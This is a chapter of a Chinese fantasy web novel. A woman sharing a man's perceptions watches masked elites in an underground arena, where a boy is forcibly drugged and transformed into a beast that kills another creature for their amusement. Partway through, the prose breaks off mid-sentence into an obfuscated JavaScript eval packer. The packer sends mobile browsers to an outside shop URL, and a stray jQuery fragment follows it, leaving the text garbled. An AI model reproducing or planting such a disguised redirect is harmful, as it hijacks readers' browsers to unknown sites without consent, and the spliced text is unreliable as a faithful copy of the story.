“周先生……周先生,醒一醒。”
迷迷糊糊中,路可被人摇着肩膀晃醒,睁开眼适应了一下昏暗的灯光,她正躺在一张松软的床上,一转头,一个长着黑色乌鸦头服务生站在床头,穿着标志的黑色燕尾服,左手端着棕色木质托盘,右手放在她肩膀上正关切地盯着她,不,是盯着周永。
路可猛地吓了一跳,仔细看才发现乌鸦头与肩膀连接处露出一截白皙皮肤。
原来是头套。
周永手撑额头,身体里的乏倦让他不耐烦:“药呢。”
乌鸦头将托盘上的水杯递上,杯子里的水是淡淡的橙色,入口微苦回甘。
不到一分钟,体内的乏倦消失,路可猜测杯子里的应该是一种提神醒脑的药剂,她透过周永这双眼睛尽可能多的获取周围环境的信息。
这具身体所在的房间是一个高档豪华的卧房,红棕色的床幔旖旎垂落在床的四周,墙上鹰头雕花铜灯泛着暖黄光晕,照得整个房间昏昏暗暗,西南角的落地宫廷裱花钟正停在晚上九点,路可注意到日期上面标注的日期是二月十一日。
“周先生,斗兽场就要开启了,您换好衣服就可以下去了。”乌鸦头微微躬身,将一套暗纹金线的黑色礼服置于床尾,礼服上端端正正摆放着半张黑色面具,面具边缘嵌着细密的银丝,在灯下泛着微光。
房间门被乌鸦头轻轻关住,周永起身换上衣服,站在宽大的落地镜前戴上了那半张面具,黄色的头发与这身优雅修身的西装格格不入。
路可看着镜中此人的打扮嗤之以鼻,他还是适合路可将他踢飞那天的打扮。
周永出了门,乌鸦头服务生在门外等候多时,他引着周永穿过走廊向螺旋楼梯走下去。
一路上遇见不少相同装扮的人同行,他们彼此颔首致意,没有人出声寒暄,看样子是在默契地遵守着某种规则。
众人随着乌鸦头走向地下,直到停在一扇门前,门无声向左右两边滑开,里面开阔无比,是从上至下的环形阶梯式看台与巨大的中央沙池,沙池遥遥相对的两端是两座拱形的高密度合金栅栏。
穹顶镶嵌的星轨灯缓缓旋转,将冷光投在环形看台之上,看台分为两层,一层环形而上,由低到高排列着玻璃座舱,每两个座位一组,间隔两米左右,确保客人入座后的隐私。
二层则悬于半空,同样以透明强化玻璃围成独立包舱,内设酒台与观景屏,每个隔间都垂着半透明的珍珠纱。
路可透过周永的瞳孔扫视全场,里面的人皆戴着与周永同款的半面银纹黑面具,且都有一名专门的乌鸦头全程服侍。
“周先生,您的座位到了。”乌鸦头将周永引至座位上,是靠近二层的坐舱内天鹅绒座椅泛着幽微光泽,扶手上蚀刻着细小的鹰隼纹章,嵌着微亮的晶石按钮,一红一蓝。
周永一坐进去透明玻璃舱立即启动防窥模式,舱内温度悄然调至人体最舒适的温度,空气里雪松与冷金属混合的淡香。
路可注意到时间,现在已经九点半。
人们陆陆续续进场落座,窸窸窣窣的说话声多了起来,因为玻璃舱有屏障,路可听不清他们到底在说些什么。
周永一直盯着中央沙场,右腿不停地快速抖动,直到身边突然坐下一个人。
“来的路上有点事情,迟了几分钟。”那人轻描淡写,对自己迟到的事情不以为然。
周永扭过头,看着身边这个戴着黑色冷帽,耳朵上打了几枚骨钉的人,嘲笑道:“张一,您跟我一个二世祖解释有什么意思,留着跟我爸说去呗。”
张一没再说话,只是将手上的戒指转了转,冷漠地看向下方的中央沙池。
几分钟后,沙池里走进一个带着礼帽和面具的人,西装领口别着一个黑色的小型收音器,一开口,低沉的声音竟在舱内响起。
“尊贵的各位来宾,晚上好,欢迎光临神音庄园。”那人优雅地摘帽弯腰,随后将帽子又戴回头上,双手在耳边拍了几下。
“《创世经》记载,上古时期,母神忲拉曾降下神罚,将不敬神明的天人贬为兽人,虽有兽类特征却有人之形态,后世人称之为异种,异种与人类繁衍混乱血脉,其血脉又称之为异血者。”
两个乌鸦头带着一个瘦骨嶙峋的十多岁男孩上前,身上穿着简单的白底蓝竖条的套装,脖子上套着一个金属圈,头始终垂下看着脚底。
礼帽抬手捏紧男孩下巴将他的头高高仰起,穹顶的灯光打在他脸上,愤怒地盯着高高在上的座舱。
“编号0581,是育所精心挑选出用来试药的新育种,是用神音会最强的异种和身体条件极为优秀的人类母体培育出的异血者,虽为异血者,但血脉优秀。”礼帽冲身旁乌鸦头点点头,乌鸦头从胸前的口袋摸出一个小袋子,展示在众人面前。
周永在舱内打开全息屏幕,近距离看到了乌鸦头手中的东西,透明的小袋子里装着十几粒红色药丸。
“区别于VIA-2针剂,VIA-3不仅方便运输,而且药效更猛烈,是上一代的十倍多,诸位,请看。”礼帽笑着,他再次捏紧男孩的下巴,男孩被迫张大嘴,乌鸦头将手中的药丸包装打开,尽数倒进了男孩口中,随后倒入一杯水将药丸灌进腹中,礼帽男和两个乌鸦头迅速退出场地。
男孩呛水疯狂咳嗽,双手紧紧插进沙中,扑倒在地剧烈挣扎着。
几分钟后,他吐出一口黑血,身躯如肿胀的气球一般越来越大,衣服碎裂成布条掉在地上。
男孩目眦欲裂七窍流血,痛苦地吼叫着,从脊骨开始弯曲延长出一条两米长的鳄鱼般的尾巴,黑色鳞甲攀上全身皮肤,上面布满细小的深红色气孔,脊背长出骨刺。
尾巴挣扎甩动将沙池边缘的金属护栏击出凹痕,最终整个人完全向着巨鳄进行异种化。
在男孩逐渐异化的过程中,礼帽男的声音在舱内缓缓响起。
“千年前,全球彻底爆发战争,人类文明迅速毁灭,母神再次惩罚了不爱惜这片土地的所有人,于是旧世纪于火海中毁灭,新世纪在众神的诅咒中诞生。”
“但神总归是仁慈的,她派来神使重建家园,神使摘下翅膀留在地上,将科技与文明再次传播,他们与人共业,无法再返回自己的家园,最终被人类的恶念侵蚀化为异种。”
“异种在地球繁衍至今,从此成为除人类外的第二类智慧生物,它们剥离了神使身上的善念,只剩下唯一的执念,那就是杀死人类。”
“人类让它们无法回家。”
“地球在此刻抛却了人种与信仰的纠纷,人类不再执着与人类争斗,因为他们有了共同的敌人,异种。”
“而这些异血者,第三类智慧生物,异种与人类的混血,它们既不属于人,也不属于异种,低贱又肮脏的血统,恶魔之子的肉身。”
“如您所见,VIA-3会将异血者的异种血脉深度激活,重新返祖为异种,不同于二类异种存留的动物性,它们的大脑保留了能与人类有效沟通的功能区域,通过训练甚至可以使用高难度机械,我们称之为异种进化。”
“也就
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17914609|213285||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
是说,通过我们的药,您可以将异血者进化成为高智异种,而这类生物,比异种的体魄更强,更忠诚,不久的将来最终取代低智异种成为这个星球最适合人类奴役的生物。”
“接下来,我尊贵的客人们,请您欣赏一场来自旧异种与新异种的对决,别忘了按下手中的按钮,左边为旧异种,右边为新异种,猜猜看,究竟谁会赢。”
周永低下头看向两个按钮,不假思索地按下了右边,他饶有兴致地看着沙池。
沙池中,男孩已经完成了所谓的异种进化,一头庞大可怖的巨鳄怪兽孤零零地在沙池里站着,螯爪紧紧攥着刚刚撕裂的衣服碎片,两只棕黄色的复眼瞪着前方。
它一动不动,异常的安静。
另一端栅栏升起,一只两米多高的直立穿山甲喘着粗气从阴影缓缓现身在沙池中,向着它低吼着逼近,利爪刮擦地面发出刺耳声响,每一口呼吸都从鼻腔喷出浑浊的白气,皮甲下方渗透着脓腐的棕色黏液,黏液顺着双脚淌在地上冒气丝丝烟雾。
而沙池中央的巨鳄仍静如石雕,眼看穿山甲异种向它扑来毫无反应,颈上的项圈闪烁着瞬间放出一股高压电流,巨鳄复眼骤然收缩成竖瞳,喉间滚出低吼,吼声使穿山甲动作一滞,耳道渗出鲜血。
巨鳄快步闪至穿山甲颈侧,螯爪刺入,棕色的黏液混着血从伤口流向巨鳄鳞甲,脓液将鳞甲腐蚀,巨鳄抽回手腕吃痛咆哮。
穿山甲逮住时机借力弹起,将身上黏液甩向巨鳄,趁势回身钢尾横扫直冲巨鳄头颅砸去,却在半空被巨鳄反手攥住,左脚后退身体开始旋转,穿山甲被巨鳄抛向场外座舱。
巨大的能量网在沙池上空浮现,笼罩着整个沙池,穿山甲撞上能量网被电流贯穿全身,四肢僵直,从半空中掉落向地面,砸出一个深坑。
“编号0581,将对手的头撕下来。”礼帽的声音回响在整个场地。
巨鳄原地踏了几步,没有给穿山甲反击的时间,它向前猛地冲刺过去,俯身一口咬住穿山甲的后颈,穿山甲垂死挣扎,黏液如墨汁般喷溅而出,巨鳄将尖牙深插进皮甲缝隙中,脸部被黏液灼烧却不肯松口,向后起身仰头一甩,穿山甲头身分离。
还未等巨鳄反应过来,颈圈电流再次出击,巨鳄晕死在地。
乌鸦头们上前开始清扫战场,机器臂将巨鳄推送进旁边的栅栏内。
很快,礼帽再次上场,高傲地再次向众人展示VIA-3的研发技术。
路可胸腔内燃起浓浓的愤怒与悲伤,一个活生生的,应该坐在教室里无忧无虑的孩子,在她面前就这样变成一头野兽,像玩物一样与另一只异种缠斗,供人取乐。
她无法言说,更无处可说,因为周永的身体此刻极其兴奋,他用力攥紧扶手,身体微微前倾,声音颤抖:“我们必须拿下这个药在6区全部的代理权。”
“那么,各位,请随侍者前往我们的宴厅,神音会已准备好丰盛的晚宴招待您。”
礼帽再次脱帽鞠躬,优雅离场。
周永起身走出座舱,人们陆陆续续随着乌鸦头出了斗兽场,路可在他的视野内尽可能地观察着这些人暴露在外的身体特征,面部可以遮挡,但高矮胖瘦,骨骼的结构,走路的习惯,还有一个人经年累月产生的细微动作,这些都是无法被一张面具所轻易改变的。
周永跨出门前回头看了一眼,路可随着视线看向漂浮在上空的二层座舱,座舱门已经全开了,正对大门的座舱内是一个银色卷发的面具人。
那个人正在看着这里。